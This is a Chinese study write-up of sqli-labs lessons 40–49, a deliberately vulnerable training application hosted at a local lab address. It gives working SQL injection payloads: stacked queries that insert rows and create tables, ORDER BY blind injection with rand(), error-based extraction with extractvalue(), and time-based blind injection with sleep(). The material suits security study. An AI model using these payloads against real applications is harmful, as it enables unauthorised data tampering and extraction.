【20171103中】sqli-libs Less 40-49
Less 40:
题目:
分析:此题可以实现sql的叠加,即注入的时候可以构成sql1;sql2...执行。
payload: http://192.168.162.135/sqli-libs/Less-40/?id=1');insert into users(id,username,password) value('100','hello','world')--+
效果:
Less 41:
分析:和Less40类似,payload: http://192.168.162.135/sqli-libs/Less-41/?id=1;insert into users(id,username,password) value('41','hello41','world41')--+
Less 42:
题目:
分析:这题同样是可以叠加注入
payload: login_user=admin&login_password=1";insert into users(id,username,password) value('42','h42','w42')#&mysubmit=Login
Less 43 - 45:和Less42类似
login_user=a&login_password=b');create table less43 like users#&mysubmit=Login
login_user=a&login_password=b';create table less44 like users#&mysubmit=Login
login_user=a&login_password=b');create table less45 like users#&mysubmit=Login
Less 46:
题目:
分析:此处是输入sort参数,sql中有效部分是order by XXX,XXX一般构成 表中的列序号 + 升降序,例如:select * from users order by 1 desc;将users表按照第一列降序排序。
所以这里可以在XXX处注入。用到的是rand()函数,rand()返回0~1的随机数,但是传入整数时,会一直返回一个浮点数,固定不变。所以我们构造rand(ascii(left(database(),1))=115)进行判断数据库名称的第一个字符是不是115,rand参数为一个表达 式,为真,则会是rand(1),否则rand(0),通过页面显示可以看出自己的判断是否正确。
payload: http://192.168.162.135/sqli-libs/Less-46/?sort=rand(ascii(left(database(),1))=115)
效果:
Less 47:
题目:类似Less 46,但是无回现,可通过错误日志显示,因此 payload: http://192.168.162.135/sqli-libs/Less-47/?sort=1' and extractvalue(1, concat(0x7e, database()))--+
Less 48:
题目:类似Less 46,payload: http://192.168.162.135/sqli-libs/Less-48/?sort=rand(ascii(left(database(),1))=115)
Less 49:
题目:类似Less 46,无回现,无错误日志,通过时间注入法,payload: http://192.168.162.135/sqli-libs/Less-49/?sort=1' and (if(ascii(left(database(),1))=115, sleep(4), 0))--+